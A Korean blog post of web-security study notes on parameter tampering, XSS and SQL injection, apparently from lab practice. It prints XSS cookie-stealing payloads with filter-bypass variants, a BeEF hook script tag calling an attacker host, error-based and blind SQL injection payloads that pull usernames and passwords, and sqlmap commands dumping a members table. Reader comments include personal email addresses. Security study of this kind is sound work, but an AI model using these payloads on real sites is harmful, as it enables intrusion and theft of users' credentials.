티스토리 뷰

파라미터 변조

- 클라이언트와 서버 사이에서 주고받는 파라미터 값을 조작

- 매개변수라고 하며 웹페이지상에서 request 대한 값을 가지고 있는 변수

- 사용자 기밀정보, 허가, 상품의 개수, 가격 등을 조작

- 이러한 정보는 쿠키나 숨겨진 필드, UR 쿼리 문자열 등에 저장

 

웹프록시를 통한 취약점 분석

프록시는 클라이언트가 서버와 브라우저 간에 전달되는 모든 HTTP 패킷을 프록시를 통해서 확인하면서 수정하는 것이 가능

 

서버에서 클라이언트로 전송되는 패킷 변조

- 클라이언트에 해킹하고자 하는 대상이 있는 경우

브라우저 내용만 바꾸었지만 실제로는 Active X 등의 형태로 여러 프로그램이 클라이언트에 설치되어 서비스를 제공하는 경우가 많음

이때 크라이언트에 설치된 서비스 프로그램을 속이는 것이 가능

 

- 서버에서 클라이언트에 정보를 전송했다가 이를 다시 전송 받아 처리하는 경우

                  예를 들면 서버에서 변수A 값이 20임을 확인하고 값을 클라이언트에 전송

그리고 서버는 전송한 변수 A 필요할 자신의 데이터베이스에서 다시 읽지 않고 클라이언트가 관련 서비스 수행할 서버에 다시 전송해주는 A값을 참조하여 서비스를 수행하는 경우

 

파라미터 변조  / 인증처리 미흡

à KT 개인정보 유출 사건은 이러한 취약점을 이용한 단순한 공격

타인의 입사지원서를 열람한 사례도 존재

Webscarab, Paros Proxy, Burp Suite, ParameterFuzz 등의 사용

XSS SQL 인젝션등의 공격으로 이어짐

 

Cookies

일종의 텍스트 파일로 클라이언트의 정보를 클라이언트의 자원에 저장

HTTP헤더에 포함시켜 서버 요청시 전송

쿠키 변조시 권한 상승 가능

 

Form Field

HTML 페이지에서 GET이나 POST 사용하는 HTTP요청에 의해 어플리케이션에 값을 전달

소스보기 등을 통해 코드를 저장 조작, 그리고 재전송 가능

HTML 숨겨진 값에 값들을 저장

SQL인젝션에 대한 방어 스크립트를 우회

서버에서도 파라미터 유효성 검사 필요

 

URL Query String

URL 안에 ? & % 같은 기호로 연결

폼필드 변조와 같은 취약점을 내포

HTML서식에서 GET 사용한다면 URL 안의 문자열에서 정보 값들을 있음

URL 민감한 파라미터 값을 포함시켜서는 안됨

파라미터 값을 URL에서 제거할 없다면 암호화

웹브라우저 크롬에 URL 쉽게 조작할 있는 확장 프로그램도 존재

 

 

 

XSS

 

공격 배경 지식

- 애플리케이션이 사용자를 인증하는 방법을 알아야함

- 어플리케이션은 가장 먼저 ID 패스워드를 기반으로 사용자의 신원 확인

- 신원 확인이 끝나면 애플리케이션이 사용자에게 고유한 값을 전달

- 이후부터 사용자는 ID 패스워드를 입력하지 않아도 애플리케이션으로부터 받은 고유한 (쿠키) 가지고 해당 웹사이트의 다양한 기능을 이용할 있음

 

서비스 제공자가 아닌 서비스를 이용하는 사용자를 공격

서비스를 제공하는 서버의 취약점을 이용하여 악성 스크립트를 삽입함으로써 사용자의 웹브라우저에서 공격이 실행됨

Stored XSS, Reflected XSS, DOM Based XSS à Replay Attack, Phising, Farming, CSRF à 개인정보 유출

 

취약점 찾기

가장 기본적인 방법은 다음과 같은 표준 스크립트 문자열을 입력해 보는

<script>alert(document.cookie)</script>

스크립트 검증 예시로 사용되는 코드

“><script>alert(document.cookie)</script>

“><ScRipt>alert(document.cookie)</ScRipt>

“%3e3cscript%3ealert(document.cookie)</%3c/script%3e

“><scr<script>ipt>alert(document.cookie)</scr</script>ipt>

%00><script>alert(document.cookie)</script>

 

실무에서는 이것 외에 여러가지 조합 해봐야함

<img src=”javascript:alert(‘xss’);”>

구글에서 검색하면 나옴

 

실습








BeEF



아이디 패스워드 모두 beef


공격자 (칼리) ip 192.168.108.136

 

beef 사용하는 3000 포트와 공격자 아이피 사용,

<script src=http://192.168.108.136:3000/hoook.js></script>



타겟 (우분투 192.168.108.137) 글을 클릭





공격자의 beef에서 타겟의 정보를 있고 커맨드도 내릴 있음



커맨드 초록색 불이 켜있으면 확실히 성공할 있다는

 

 

 

SQL Injection

 

Injection Flaws(인젝션 결함)

공격자가 악의적인 코드를 어플리케이션을 통해 다른 시스템으로 보내는 것을 허용

인젝션 종류: SQL, LDAP, Xpath, XSLT, HTML, XmL, OS 명령어 인젝션

어플리케이션에서 이용 가능한 임의의 데이터를 생성, 읽기, 갱신, 삭제 가능

 

SQL인젝션은 서버에서 입력값을 검증하지 않아

사용자 우회인증, 권한상승 또는 데이터베이스의 내용을 있음

 

- 인증 우회

 

- Error-Based SQL Injection



Members테이블 안에 num컬럼이 존재한다는걸 알게됨

num컬럼 뒤에 있는걸 조회하기위해 groupby 사용




user_id 컬럼을 알게 되었고 뒤에는




passwd라는 컬럼을 에러페이지를 통해 알게됨

 

user_id에서 가장 위에 있는 id 가져오기위해

‘ or 1=(select top 1 user_id from Members)--




test라는 아이디

or 1=(select top 1 passwd from Members)--




admin123라는 비밀번호!


로그인 성공!

 



- Blind SQL Injection


348번째 글이라고 알려주는 파라미터 뒤에 and substring(db_name(),1,1)=’a’

 


첫글자가 a 시작하는 db 없음을 의미

and substring(db_name(),1,1)=’o’ 있음



 

수동은 너무 힘드니까 칼리 리눅스 쓰기

 

sqlmap -u “[취약한 파라미터 가진 링크]” --dbs




v_num injectable 한것으로 보임



해당 서버에 10개의 db 보임

 

-D oyesmall --tables 옵션으로 oyesmall 디비의 테이블을 뽑아내기




-D oyesmall -T members --columns members테이블의 컬럼을 보자



33개의 컬럼들과 타입을 뽑아냄

 

-D oyesmall -T members -C user_id --dump



등록된 id 있음

 

-D oyesmall -T members -C user_id,passwd --dump 라고 하면 아이디와 패스워드 컬럼을 자동적으로 깔끔하게 보여줌

(컬럼사이 쉼표 구분)

 

관리자 id 찾기

admin_tb 테이블 덤프 뜨면

댓글
댓글쓰기 폼
  • 신동환 안녕하세요 웹 보안을 공부하고 있는 학생입니다. 다름이 아니라 공부를 하다가 이번 기회에 직접 웹을 구축해서 공부를 하고싶어서 이렇게 댓글을 남깁니다. 혹시 위에 실습하신 환경 어떻게 설치하셧는지, 또는 가능하시다면 환경을 공유해주실수 있는지 여쭈어 봅시다.
    제 메일주소는 ssdh1009@naver.com 입니다. 추운겨울 감기조심하시고 좋은하루 보내세요 ^_^
    2016.12.22 21:56
  • 유현우 안녕하세요 업무로 인해 웹 보안 공부가 필요한 직장인입니다.
    아래 신동환님이 쓰신 댓글처럼 저도 위에 실습하신 환경을 어떻게 설치하셨는지, 혹 가능하시다면 환경을 공유해주실수 있는지 문의 드립니다.
    번거롭게 해드려 죄송합니다.. 혹시 해당 부분이 가능하시다면 작게나마 사례하도록 하겠습니다. ( _ _ )
    제 메일 주소는 kaitmarne@naver.com 입니다. 감사합니다. ^^
    2017.01.12 10:54